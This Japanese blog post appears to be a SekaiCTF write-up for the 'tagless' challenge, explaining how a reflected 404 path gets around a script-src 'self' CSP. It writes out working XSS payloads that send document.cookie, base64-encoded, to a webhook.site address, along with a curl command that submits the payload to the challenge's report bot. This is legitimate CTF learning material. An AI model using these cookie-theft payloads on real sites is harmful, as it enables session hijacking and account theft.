0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SekaiCTF write-up(tagless)

Last updated at Posted at 2024-11-13

tagless

まず問題の意図を分析、以下のことがわかった。

  • Content-Security-Policyのscript-srcはself
    • つまり、スクリプトを直接HTML内に埋め込むことはできず、必ず同一ホストから、<script src="/static/app.js"></script>のように読み込ませる必要がある
  • エンドポイントは実は3つある
    • index.htmlは簡単なメモ帳
    • /reportはホストのseleniumを使って、ローカルホストの特定のページを開かせることができる
    • 404ページはf"{path} not found"を返す

最終的な目標は /reportにアクセスし、seleniumのクッキーの内容を盗み取ることである。

index.html

auto_inputパラメータから任意のテキストを表示することができる。しかし、sanitizeInput関数が括弧の中のテキストを置換しているため、scriptの実行は難しいと判断した。あと、開発者モードでscriptを埋め込んで実行させようとしても、script-srcポリシーがselfとなっているinlineスクリプトも実行不可能。
結局外部からコードを読み込ませるにはもう一個のエンドポイントが必要であると考えた。

404ページ

404ページは http://0.0.0.0/asdfasdf のように存在しないページを開こうとするとき
、表示されるページであり、/asdfasdf not foundのようなページが返ってくる。
{path}を//のようにすれば、結果的には<script></script>// not foundが得られるはず。
また、それを404ページ内部で<script src='攻撃コードのURL'></script>のように実行させればいいのではないかと思った。

設計

  1. ページのクッキーをbase64にエンコードし、それをどこかのページにpostするスクリプトを作る
  2. 1のスクリプトを404ページ内に表示するURLを作成する
  3. 2のページを<script src="url"></script>を使って404ページ内に表示させる
  4. 3で作ったページをreportエンドポイントに送る

スクリプトの作成

requestbin系のサイトを適当に使って、urlパラメータとしてbase64にエンコーディングしたcookieを丸投げする。
具体的にはこんな感じのスクリプトが出来上がった。

window.location="url"+btoa(document.cookie)

404ページに埋め込む

http://host/asdfにアクセスすると、/asdf not foundが出力されるから、冒頭のスラッシュ記号と、末尾のnot foundをコメントアウトさせる必要がある。

/**/window.location="http://webhook.site/57076290-64ef-483f-8d40-xxxxxxxxxxxx/"+btoa(document.cookie)// not found

のようにすればいい。

最終的なurlはこうなった。

http://127.0.0.1:5000/**/window.location="http://webhook.site/57076290-64ef-483f-8d40-xxxxxxxxxxxx/"+btoa(document.cookie)//

404ページにスクリプトを読み込ませる

<script src='前の段階で作ったスクリプト'></script>

を表示させたい。同様にを表示させれば良いが、urlをそのまま貼り付けると、括弧の区別が付かなくなるから、一回urlエンコードしてやる。

http://127.0.0.1:5000/<script src='http%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2Fwindow.location%3D%22http%3A%2F%2Fwebhook.site%2F57076290-64ef-483f-8d40-xxxxxxxxxxxx%2F%22%2Bbtoa%28document.cookie%29%2F%2F'></script>

reportページに送る

curlを使ってPOSTのパラメータとしてurlの値を送る。

curl -X POST https://tagless-xqw5wmhrrkit.chals.sekai.team/report \
   -H "Content-Type: application/x-www-form-urlencoded"  \
   -d "url=http://127.0.0.1:5000/<script src='http%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2Fwindow.location%3D%22http%3A%2F%2Fwebhook.site%2F57076290-64ef-483f-8d40-xxxxxxxxxxxx%2F%22%2Bbtoa%28document.cookie%29%2F%2F'></script>"

ハマったポイント

ペイロードを作成したときホストをlocalhostにしてしまい、クッキーのホストが異なり、クッキーがロードされない問題があった。
全体的に難易度が高くて難しかった。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?